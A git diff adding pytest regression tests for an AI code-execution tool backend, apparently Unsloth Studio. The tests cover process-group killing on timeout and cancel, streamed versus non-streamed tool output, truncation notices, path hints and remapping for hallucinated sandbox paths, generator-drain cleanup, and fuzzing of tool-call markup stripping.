+def test_bash_exec_unlimited_timeout_waits_for_grandchild_output():
+    # A background grandchild holds the pipe open past the shell's exit and writes
+    # ~7s later. With timeout=None the drain must wait for EOF like
+    # communicate(timeout=None), so the late output is included.
+    command = "( sleep 7; echo late-grandchild-output ) & echo parent-done"
+    chunks: list[str] = []
+    result = _bash_exec(command, timeout = None, output_callback = chunks.append)
+    assert "parent-done" in result
+    assert "late-grandchild-output" in result
+    assert "late-grandchild-output" in "".join(chunks)
+
+
+def test_bash_exec_finite_timeout_kills_grandchild_holding_stdout(tmp_path):
+    # A backgrounded grandchild holds the pipe open past the finite timeout, then
+    # would write a sentinel. The parent shell has already exited, so killing only
+    # the reaped parent leaves the grandchild running; the drain must kill the
+    # process group captured before the wait so the grandchild never writes.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    result = _bash_exec(command, timeout = 1, output_callback = lambda _t: None)
+    assert "timed out" in result
+    time.sleep(4.0)  # past the grandchild's 3s sleep
+    assert not sentinel.exists(), "grandchild survived the timeout process-group kill"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_bash_exec_nonstreaming_timeout_kills_grandchild(tmp_path):
+    # The NON-streaming path (communicate() + _kill_process_tree) short-circuits
+    # once the reaped leader has exited, so a stdout-holding grandchild survives
+    # unless the group captured right after spawn is killed too. Must match the
+    # streaming path's exited-leader handling.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    result = _bash_exec(command, timeout = 1)  # no output_callback -> communicate path
+    assert "timed out" in result
+    time.sleep(4.0)
+    assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_python_exec_nonstreaming_timeout_kills_grandchild(tmp_path):
+    sentinel = tmp_path / "grandchild_ran"
+    code = (
+        "import subprocess\n"
+        f"subprocess.Popen(['bash', '-c', \"sleep 3; touch '{sentinel}'\"])\n"
+        "print('parent-done')\n"
+        "import time; time.sleep(30)\n"
+    )
+    result = _python_exec(code, timeout = 1)  # no output_callback -> communicate path
+    assert "timed out" in result
+    time.sleep(4.0)
+    assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild"
+
+
+def test_drain_process_output_without_posix_process_group_apis(monkeypatch):
+    # On Windows os.getpgid / os.killpg are absent; _drain_process_output must not
+    # raise AttributeError before reading the child's output. Removing the APIs and
+    # flipping os.name: the child still runs and is captured, only the group kill is skipped.
+    import subprocess as _sp
+
+    from core.inference.tools import _drain_process_output
+
+    monkeypatch.delattr(os, "getpgid", raising = False)
+    monkeypatch.delattr(os, "killpg", raising = False)
+    monkeypatch.setattr(os, "name", "nt")
+
+    proc = _sp.Popen(
+        [sys.executable, "-c", "print('ok-no-pgid')"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+    )
+    output, timed_out = _drain_process_output(proc, 10, lambda _t: None)
+    assert not timed_out
+    assert "ok-no-pgid" in output
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_captured_group_survives_fast_leader_reap(tmp_path):
+    # Capture the group after spawn, reap the leader first (as a polling cancel
+    # watcher would), then drain: the pre-captured pgid must still reap the
+    # stdout-holding grandchild even though os.getpgid(pid) would now fail.
+    import subprocess as _sp
+
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    sentinel = tmp_path / "grandchild_ran"
+    proc = _sp.Popen(
+        ["bash", "-c", f"( sleep 3; touch '{sentinel}' ) & echo parent-done"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+    proc.wait()  # reap the leader before draining
+
+    output, timed_out = _drain_process_output(proc, 0.5, None, pgid = pgid)
+    assert timed_out
+    assert "parent-done" in output
+    time.sleep(4.0)
+    assert not sentinel.exists(), "pre-captured group failed to reap the grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_finite_drain_honors_cancel_after_leader_exit(tmp_path):
+    # Once the leader exits the cancel watcher (which loops on proc.poll()) is gone,
+    # so the finite-timeout drain itself must honor cancellation: a mid-drain
+    # cancel_event must break the drain promptly and kill the process group instead
+    # of draining a chatty grandchild for the whole large budget.
+    import subprocess as _sp
+    import threading as _th
+
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    sentinel = tmp_path / "grandchild_late"
+    # Grandchild holds the pipe open, streams every 0.2s, and touches the sentinel
+    # only after 10s -- well past the cancel. The leader exits immediately, so the
+    # drain enters the finite branch with a live, chatty reader.
+    proc = _sp.Popen(
+        [
+            "bash",
+            "-c",
+            "( for i in $(seq 1 100); do echo tick-$i; sleep 0.2; done; "
+            f"touch '{sentinel}' ) & echo parent-done",
+        ],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+    proc.wait()  # leader exits at once; the cancel watcher would now be gone
+
+    cancel_event = _th.Event()
+    _th.Timer(0.6, cancel_event.set).start()  # cancel shortly into the drain
+
+    started = time.monotonic()
+    # Large finite timeout (30s); without the cancel poll the drain keeps reading
+    # the grandchild until the pipe closes ~20s later.
+    output, timed_out = _drain_process_output(proc, 30, lambda _t: None, cancel_event, pgid = pgid)
+    elapsed = time.monotonic() - started
+    assert elapsed < 5.0, f"finite drain ignored cancel_event (took {elapsed:.1f}s)"
+    # Cancellation is not a timeout: the budget never elapsed.
+    assert not timed_out
+    assert "parent-done" in output
+    time.sleep(11.0)  # past the grandchild's 10s sentinel write
+    assert not sentinel.exists(), "cancel did not kill the stdout-holding grandchild group"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_streamed_wait_timeout_kills_grandchild_when_leader_reaped(tmp_path, monkeypatch):
+    # The proc.wait() timeout branch normally kills the group via _kill_process_tree.
+    # But the leader can exit before _kill_process_tree samples its pgid, which then
+    # short-circuits on the reaped leader and leaves a stdout-holding grandchild.
+    # Model that race with _kill_process_tree as a no-op; the captured-pgid kill in
+    # the timeout branch must still reap the grandchild, matching non-streaming.
+    import subprocess as _sp
+
+    from core.inference import tools as _tools_mod
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    monkeypatch.setattr(_tools_mod, "_kill_process_tree", lambda proc: None)
+
+    sentinel = tmp_path / "grandchild_ran"
+    # Leader sleeps past the timeout so proc.wait() genuinely times out; a same-group
+    # grandchild holds stdout and would touch the sentinel unless the group is killed.
+    proc = _sp.Popen(
+        ["bash", "-c", f"( sleep 3; touch '{sentinel}' ) & sleep 30"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+
+    output, timed_out = _drain_process_output(proc, 0.5, None, pgid = pgid)
+    assert timed_out
+    time.sleep(4.0)  # past the grandchild's 3s sleep
+    assert not sentinel.exists(), (
+        "streamed wait timeout leaked a stdout-holding grandchild when the "
+        "process-tree kill short-circuited on the reaped leader"
+    )
+
+
+# ── GGUF loop regression: model-visible messages unchanged ───────
+
+
+def _run_gguf_tool_turn(monkeypatch, fake_execute_tool):
+    tool_stream = [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "id": "call_1",
+                        "index": 0,
+                        "function": {
+                            "name": "python",
+                            "arguments": json.dumps({"code": "print('hi')"}),
+                        },
+                    }
+                ]
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "All done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+    return events, payloads
+
+
+def test_gguf_loop_final_tool_message_unchanged_by_streaming(monkeypatch):
+    result_text = "hi\nline 2\n"
+
+    def plain_tool(name, arguments, **_kwargs):
+        return result_text
+
+    def streaming_tool(
+        name,
+        arguments,
+        output_callback = None,
+        **_kwargs,
+    ):
+        if output_callback is not None:
+            output_callback("hi\n")
+            output_callback("line 2\n")
+        return result_text
+
+    events_plain, payloads_plain = _run_gguf_tool_turn(monkeypatch, plain_tool)
+    events_streaming, payloads_streaming = _run_gguf_tool_turn(monkeypatch, streaming_tool)
+
+    def _tool_messages(payloads):
+        return [
+            msg for payload in payloads for msg in payload["messages"] if msg.get("role") == "tool"
+        ]
+
+    # The role=tool message fed to the model is byte-identical: streaming is purely
+    # observational and must not perturb parsing/nudging/healing.
+    assert _tool_messages(payloads_streaming) == _tool_messages(payloads_plain)
+    assert _tool_messages(payloads_streaming) == [
+        {
+            "role": "tool",
+            "name": "python",
+            "content": result_text,
+            "tool_call_id": "call_1",
+        }
+    ]
+
+    # tool_end results match too.
+    ends_plain = [e for e in events_plain if e["type"] == "tool_end"]
+    ends_streaming = [e for e in events_streaming if e["type"] == "tool_end"]
+    assert [e["result"] for e in ends_streaming] == [e["result"] for e in ends_plain]
+
+
+def test_gguf_loop_emits_tool_output_between_start_and_end(monkeypatch):
+    def streaming_tool(
+        name,
+        arguments,
+        output_callback = None,
+        **_kwargs,
+    ):
+        if output_callback is not None:
+            output_callback("progress 1\n")
+            output_callback("progress 2\n")
+        return "progress 1\nprogress 2\n"
+
+    events, _payloads = _run_gguf_tool_turn(monkeypatch, streaming_tool)
+    types = [e["type"] for e in events]
+    assert "tool_output" in types
+    start_idx = types.index("tool_start")
+    end_idx = types.index("tool_end")
+    output_indices = [i for i, t in enumerate(types) if t == "tool_output"]
+    assert all(start_idx < i < end_idx for i in output_indices)
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert streamed == "progress 1\nprogress 2\n"
+    for e in events:
+        if e["type"] == "tool_output":
+            assert e["tool_name"] == "python"
+            assert e["tool_call_id"] == "call_1"
+
+
+def test_gguf_loop_plain_tool_yields_no_tool_output(monkeypatch):
+    def plain_tool(name, arguments, **_kwargs):
+        return "quiet"
+
+    events, _payloads = _run_gguf_tool_turn(monkeypatch, plain_tool)
+    assert [e for e in events if e["type"] == "tool_output"] == []
+
+
+# ── result truncation notice, env cap, missing-path healing ──────
+
+import os as _os
+import uuid as _uuid
+
+from core.inference.tools import (
+    PYTHON_TOOL,
+    TERMINAL_TOOL,
+    _MAX_OUTPUT_CHARS,
+    _env_int,
+    _missing_path_hint,
+    _truncate,
+    get_sandbox_workdir,
+)
+
+
+def test_truncate_notice_is_neutral_and_mentions_workdir():
+    out = _truncate("y" * 50, limit = 10)
+    assert out.startswith("y" * 10)
+    assert "truncated" in out and "50 chars total" in out
+    assert "persist in the working directory" in out
+    # The notice must NOT claim the user saw the output: this wrapper also serves
+    # non-streaming callers where no output_callback delivers anything.
+    assert "the user was shown the full output" not in out
+    assert "shown" not in out
+    # Under the limit: untouched.
+    assert _truncate("short", limit = 10) == "short"
+
+
+def test_truncated_result_identical_and_notice_neutral_with_streaming():
+    # The truncation notice must be byte-identical with and without an
+    # output_callback (the streaming vs non-streaming invariant a mode-dependent
+    # notice would break) and must not claim the user was shown the full output.
+    code = f"print('x' * {_MAX_OUTPUT_CHARS + 5000})"
+    baseline = _python_exec(code, timeout = 60)
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+    assert streamed == baseline
+    assert "truncated" in baseline
+    assert "the user was shown the full output" not in baseline
+    assert "persist in the working directory" in baseline
+
+
+def test_result_cap_env_override(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", raising = False)
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "50000")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 50000
+    # Garbage and non-positive values fall back to the default.
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "lots")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+    monkeypatch.setenv("UNSLOTH_TOOL_RESULT_MAX_CHARS", "-5")
+    assert _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000) == 16000
+
+
+def test_missing_path_hint_detection():
+    err = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    hint = _missing_path_hint(err)
+    assert "working directory is writable" in hint
+    assert "relative path" in hint
+    # The hint echoes the actual failing path, not a canned example.
+    assert "'x.html', not '/mnt/data/x.html'" in hint
+    # A failure on a local path gets no hint.
+    assert _missing_path_hint("FileNotFoundError: 'local.txt'") == ""
+    # Mentioning /mnt/data without a file error gets no hint.
+    assert _missing_path_hint("saved to /mnt/data, all good") == ""
+    assert _missing_path_hint("") == ""
+
+
+def test_missing_path_hint_generalizes_beyond_convention_prefixes():
+    # A hallucinated absolute path outside the enumerated prefixes still earns the
+    # hint, echoing that path.
+    err = (
+        "FileNotFoundError: [Errno 2] No such file or directory: "
+        "'/home/ubuntu/Sandbox/flappy_bird.html'"
+    )
+    hint = _missing_path_hint(err)
+    assert "working directory is writable" in hint
+    assert "'flappy_bird.html', not '/home/ubuntu/Sandbox/flappy_bird.html'" in hint
+    # A bash-style error on an absolute path outside the workdir is echoed too.
+    bash_err = "cat: /var/data/report.csv: No such file or directory"
+    assert "'report.csv', not '/var/data/report.csv'" in _missing_path_hint(bash_err)
+
+
+def test_missing_path_hint_respects_project_workdir():
+    # Project-backed sessions run under a root OUTSIDE ~/studio_sandbox. A legitimate
+    # miss INSIDE that project workspace must not be misclassified as an external
+    # habit path and flattened to its basename; judged against the real workdir it
+    # gets no hint. The fabricated paths carry no convention prefix, so only the
+    # workdir judgement decides.
+    workdir = "/srv/projroot/session_area"
+    missing = "/srv/projroot/session_area/data/missing.csv"
+    output = f"FileNotFoundError: [Errno 2] No such file or directory: '{missing}'"
+    # Against the static sandbox root (no workdir) it looks external and wrongly earns the hint.
+    assert "working directory is writable" in _missing_path_hint(output)
+    # Against the real project workdir it is local -> no hint.
+    assert _missing_path_hint(output, workdir) == ""
+    # A path genuinely outside the project workdir still earns the hint.
+    outside_err = "FileNotFoundError: [Errno 2] No such file or directory: '/srv/other/x.html'"
+    assert "working directory is writable" in _missing_path_hint(outside_err, workdir)
+
+
+def test_missing_path_hint_project_workdir_under_convention_prefix():
+    # A project workdir can live under a convention prefix like /workspace (common in
+    # containers). A genuine miss INSIDE it carries the "/workspace" substring but is
+    # a real local path, not a habit path: the convention fast path must not fire and
+    # flatten it to a bare basename (which would drop the project subdirectory).
+    workdir = "/workspace/proj"
+    nested = "/workspace/proj/sub/data.csv"
+    output = f"FileNotFoundError: [Errno 2] No such file or directory: '{nested}'"
+    # Against the real project workdir the miss is local -> no hint, so
+    # /workspace/proj/sub is not flattened away.
+    assert _missing_path_hint(output, workdir) == ""
+    # A miss at the project root itself is likewise local.
+    at_root = "/workspace/proj/data.csv"
+    root_output = f"FileNotFoundError: [Errno 2] No such file or directory: '{at_root}'"
+    assert _missing_path_hint(root_output, workdir) == ""
+    # A convention path genuinely outside the project workdir still earns the
+    # hint (e.g. a /mnt/data habit path with a /workspace-rooted project).
+    outside = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(outside, workdir)
+    # Without an explicit workdir the default sandbox root applies, so a
+    # /workspace path is out of sandbox and keeps the habit-path hint.
+    assert "working directory is writable" in _missing_path_hint(root_output)
+
+
+def test_missing_path_hint_convention_scoped_to_failing_line():
+    # A convention prefix appearing only OUTSIDE the failing-path line (a traceback
+    # frame under /workspace, or the user's code printing /mnt/data) must not trigger
+    # the hint when the actual miss was a relative / in-workdir path.
+    frame_err = (
+        "Traceback (most recent call last):\n"
+        '  File "/workspace/proj/script.py", line 5, in <module>\n'
+        "    open('data.csv')\n"
+        "FileNotFoundError: [Errno 2] No such file or directory: 'data.csv'"
+    )
+    assert _missing_path_hint(frame_err) == ""
+    printed_err = (
+        "outputs go to /mnt/data normally\n"
+        "FileNotFoundError: [Errno 2] No such file or directory: 'notes.txt'"
+    )
+    assert _missing_path_hint(printed_err) == ""
+    # But a convention path ON the error line still earns the hint.
+    on_line = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'"
+    assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(on_line)
+
+
+def test_code_tool_descriptions_mention_relative_paths():
+    for tool in (PYTHON_TOOL, TERMINAL_TOOL):
+        description = tool["function"]["description"]
+        assert "relative paths" in description
+        assert "/mnt/data" in description
+
+
+def test_python_exec_mnt_data_open_is_remapped_into_workdir():
+    # The shim remaps open()/os.makedirs() on /mnt/data into the sandbox CWD and
+    # prints a one-line stderr notice, identically with and without streaming.
+    fname = f"remap_{_uuid.uuid4().hex}.txt"
+    code = (
+        "import os\n"
+        "os.makedirs('/mnt/data', exist_ok=True)\n"
+        f"with open('/mnt/data/{fname}', 'w') as f:\n"
+        "    f.write('hello remap')\n"
+        f"print(open('/mnt/data/{fname}').read())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "hello remap"
+        assert "hello remap" in baseline
+        assert "/mnt/data does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_pathlib_write_text_is_remapped_into_workdir():
+    # pathlib.Path.open / write_text / read_text call io.open directly,
+    # bypassing the builtins.open patch, so the shim must remap io.open too.
+    fname = f"remap_{_uuid.uuid4().hex}.txt"
+    code = (
+        "from pathlib import Path\n"
+        f"p = Path('/mnt/data/{fname}')\n"
+        "p.write_text('pathlib remap')\n"
+        "print(p.read_text())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "pathlib remap"
+        assert "pathlib remap" in baseline
+        assert "/mnt/data does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_hallucinated_absolute_write_is_remapped_into_workdir():
+    # The model invents an absolute path outside the enumerated prefixes and opens
+    # it for writing; the write-mode fallback redirects it to the basename in the
+    # sandbox workdir instead of dying with FileNotFoundError.
+    fname = f"remap_{_uuid.uuid4().hex}.html"
+    hallucinated = f"/nonexistent_root_xyz/Sandbox/{fname}"
+    # Read-back goes through the mapped basename: reads are never redirected, only
+    # the write is healed.
+    code = (
+        f"with open('{hallucinated}', 'w') as f:\n"
+        "    f.write('hello fallback')\n"
+        f"print(open('{fname}').read())\n"
+    )
+    target = _os.path.join(get_sandbox_workdir(), fname)
+    try:
+        baseline = _python_exec(code, timeout = 60)
+        assert _os.path.isfile(target), baseline
+        with open(target) as f:
+            assert f.read() == "hello fallback"
+        assert "hello fallback" in baseline
+        assert "does not exist in this sandbox" in baseline
+        _os.remove(target)
+        streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+        assert streamed == baseline
+        assert _os.path.isfile(target)
+    finally:
+        if _os.path.exists(target):
+            _os.remove(target)
+
+
+def test_python_exec_unremapped_mnt_data_failure_gets_hint():
+    # os.listdir is deliberately not remapped: the failure carries the retry hint
+    # instead, identically with and without streaming.
+    import re as _re
+
+    code = "import os\nos.listdir('/mnt/data/nonexistent_dir_xyz')\n"
+    baseline = _python_exec(code, timeout = 60)
+    assert "FileNotFoundError" in baseline
+    assert "working directory is writable" in baseline
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+
+    # Normalize each run's random temp filename (byte-identity is per-execution).
+    def normalize(text: str) -> str:
+        return _re.sub(r"studio_exec_\w+\.py", "studio_exec.py", text)
+
+    assert normalize(streamed) == normalize(baseline)
+
+
+def test_bash_exec_missing_path_hint():
+    baseline = _bash_exec("cat /mnt/data/definitely_missing.txt", timeout = 60)
+    assert "No such file or directory" in baseline
+    assert "working directory is writable" in baseline
+    streamed = _bash_exec(
+        "cat /mnt/data/definitely_missing.txt", timeout = 60, output_callback = lambda _t: None
+    )
+    assert streamed == baseline
+
+
+def test_bash_exec_local_failure_gets_no_hint():
+    result = _bash_exec("cat definitely_missing_local_file.txt", timeout = 60)
+    assert "No such file or directory" in result
+    assert "working directory is writable" not in result
+
+
+def test_producer_queue_is_bounded_under_tight_print_loop(monkeypatch):
+    # The consumer-side cap only bounds the concatenated stream; a fast worker can
+    # still enqueue unboundedly while the SSE consumer is backpressured. The producer
+    # boundary now discards callbacks past the cap so the queue cannot grow without
+    # limit (finding 12).
+    import queue as _queue
+
+    from core.inference import tool_stream_exec
+
+    observed = []
+
+    class _TrackingQueue(_queue.Queue):
+        def put(self, *args, **kwargs):
+            result = super().put(*args, **kwargs)
+            observed.append(self.qsize())
+            return result
+
+    monkeypatch.setattr(tool_stream_exec.queue, "Queue", _TrackingQueue)
+
+    def tool(callback):
+        for _ in range(200_000):
+            callback("x")
+        return "done"
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == "done"
+    # At most cap + 1 chars enter the queue, so 1-char items cannot exceed that
+    # regardless of consumer lag.
+    assert observed
+    assert max(observed) <= TOOL_OUTPUT_STREAM_MAX_CHARS + 2
+
+
+def test_continuous_over_cap_output_does_not_starve_heartbeats():
+    # Once the cap is tripped, a continuously producing tool must not spin the drain
+    # forever with no heartbeat: callbacks past the budget never enter the queue, so
+    # the idle heartbeat path resumes (finding 13).
+    release = threading.Event()
+
+    def tool(callback):
+        callback("x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 10))  # trip the cap
+        while not release.is_set():
+            callback("spam")  # discarded at the producer boundary
+        return "done"
+
+    watchdog = threading.Timer(8.0, release.set)
+    watchdog.start()
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    finally:
+        release.set()
+        watchdog.cancel()
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+
+
+def test_accepts_output_callback_signature_detection():
+    from core.inference.tool_stream_exec import accepts_output_callback
+
+    def legacy(
+        name,
+        arguments,
+        cancel_event = None,
+        timeout = None,
+    ):
+        return "ok"
+
+    def modern(
+        name,
+        arguments,
+        output_callback = None,
+    ):
+        return "ok"
+
+    def kwargs_only(name, arguments, **kw):
+        return "ok"
+
+    assert accepts_output_callback(legacy) is False
+    assert accepts_output_callback(modern) is True
+    assert accepts_output_callback(kwargs_only) is True
+    # Uninspectable callables (e.g. some builtins) fall back to not-supported.
+    assert accepts_output_callback(len) is False
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_bash_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_path):
+    # NON-streaming cancellation: the leader exits at once while a grandchild holds
+    # stdout. The cancel watcher loops on the leader's poll() and is gone, so before
+    # the fix communicate() blocked until the grandchild finished. The unified drain
+    # kills the captured group on cancel instead.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    cancel_event = threading.Event()
+    timer = threading.Timer(0.5, cancel_event.set)
+    timer.start()
+    started = time.monotonic()
+    try:
+        result = _bash_exec(command, cancel_event = cancel_event, timeout = 30)
+    finally:
+        timer.cancel()
+    assert time.monotonic() - started < 2.5
+    assert result == "Execution cancelled."
+    time.sleep(3.5)
+    assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_python_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_path):
+    sentinel = tmp_path / "grandchild_ran"
+    code = (
+        "import subprocess\n"
+        f"subprocess.Popen(['bash', '-c', \"sleep 3; touch '{sentinel}'\"])\n"
+        "print('parent-done')\n"
+    )
+    cancel_event = threading.Event()
+    timer = threading.Timer(0.5, cancel_event.set)
+    timer.start()
+    started = time.monotonic()
+    try:
+        result = _python_exec(code, cancel_event = cancel_event, timeout = 30)
+    finally:
+        timer.cancel()
+    assert time.monotonic() - started < 2.5
+    assert result == "Execution cancelled."
+    time.sleep(3.5)
+    assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild"
diff --git a/studio/backend/tests/test_tool_stream_generator_drain.py b/studio/backend/tests/test_tool_stream_generator_drain.py
new file mode 100644
index 0000000000..e1d751ab09
--- /dev/null
+++ b/studio/backend/tests/test_tool_stream_generator_drain.py
@@ -0,0 +1,83 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for generator-close cleanup in the tool-streaming routes.
+
+Tool streams run ``next(gen)`` in an ``asyncio.to_thread`` worker. Closing the
+generator while that worker is still inside ``next`` raises ``ValueError:
+generator already executing`` and skips the generator's ``finally`` (tool
+cleanup); the routes drain the pending task first (``_drain_pending_next_task``),
+which these tests exercise.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import threading
+
+import pytest
+
+from routes.inference import _drain_pending_next_task
+
+
+def test_drain_before_close_avoids_generator_already_executing():
+    cancel_event = threading.Event()
+    entered = threading.Event()
+    finally_ran = threading.Event()
+
+    def blocking_gen():
+        try:
+            entered.set()
+            # Blocking call inside next(gen) that respects the cancel flag.
+            cancel_event.wait()
+            yield "value"
+        finally:
+            finally_ran.set()
+
+    async def scenario():
+        gen = blocking_gen()
+        next_task = asyncio.create_task(asyncio.to_thread(next, gen, object()))
+        await asyncio.to_thread(entered.wait)  # worker now inside next(gen)
+
+        # Closing mid-next races and raises, leaving the finally unrun.
+        with pytest.raises(ValueError):
+            gen.close()
+        assert not finally_ran.is_set()
+
+        # Draining sets the cancel flag so the worker returns; then close is
+        # clean and the generator's finally runs.
+        await _drain_pending_next_task(next_task, cancel_event)
+        gen.close()
+        return
+
+    asyncio.run(scenario())
+    assert finally_ran.is_set()
+
+
+def test_drain_pending_next_task_is_noop_without_task():
+    # None (task already consumed): draining is a no-op, cancel flag untouched.
+    cancel_event = threading.Event()
+
+    asyncio.run(_drain_pending_next_task(None, cancel_event))
+    assert not cancel_event.is_set()
+
+
+def test_drain_pending_next_task_returns_when_worker_finishes():
+    # A worker finishing on its own drains without error; the cancel flag stays
+    # set (the caller is tearing the stream down).
+    cancel_event = threading.Event()
+    release = threading.Event()
+
+    def gen():
+        release.wait()
+        yield "done"
+
+    async def scenario():
+        g = gen()
+        task = asyncio.create_task(asyncio.to_thread(next, g, object()))
+        release.set()  # let the worker complete before draining
+        await _drain_pending_next_task(task, cancel_event)
+        assert task.done()
+
+    asyncio.run(scenario())
+    assert cancel_event.is_set()
diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py
new file mode 100644
index 0000000000..dfa3101882
--- /dev/null
+++ b/studio/backend/tests/test_tool_strip_guard.py
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""strip_tool_patterns must match the plain per-pattern loop while skipping the
+quadratic no-match rescan of a closed-pair sweep whose close token is absent."""
+
+import random
+import sys
+import time
+from pathlib import Path
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.tool_healing import (
+    _TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS,
+    strip_tool_call_markup,
+    strip_tool_patterns,
+)
+
+
+def _naive(text, patterns):
+    for pat in patterns:
+        text = pat.sub("", text)
+    return text
+
+
+_TOKENS = [
+    "<tool_call>",
+    "</tool_call>",
+    "<|tool_call>",
+    "<tool_call|>",
+    "<function=x>",
+    "<function=mcp__s__a-b>",
+    "</function>",
+    "<parameter=p>",
+    "</parameter>",
+    "call:fn{",
+    "}",
+    "{",
+    '<|"|>',
+    "A",
+    " ",
+    "\n",
+    "id",
+    "x:1",
+    "</tool",
+    "call>",
+]
+
+
+def test_guard_matches_plain_loop_on_fuzz():
+    rng = random.Random(1234)
+    for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS):
+        for _ in range(20000):
+            s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10)))
+            assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns)
+
+
+def test_strip_markup_representative_cases_unchanged():
+    assert strip_tool_call_markup("a <tool_call>{}</tool_call> b") == "a  b"
+    assert strip_tool_call_markup("a <function=x><parameter=p>1</parameter></function> b") == "a  b"
+    # Non-final keeps an unclosed block; final strips it to EOF.
+    assert strip_tool_call_markup("a <tool_call>{partial") == "a <tool_call>{partial"
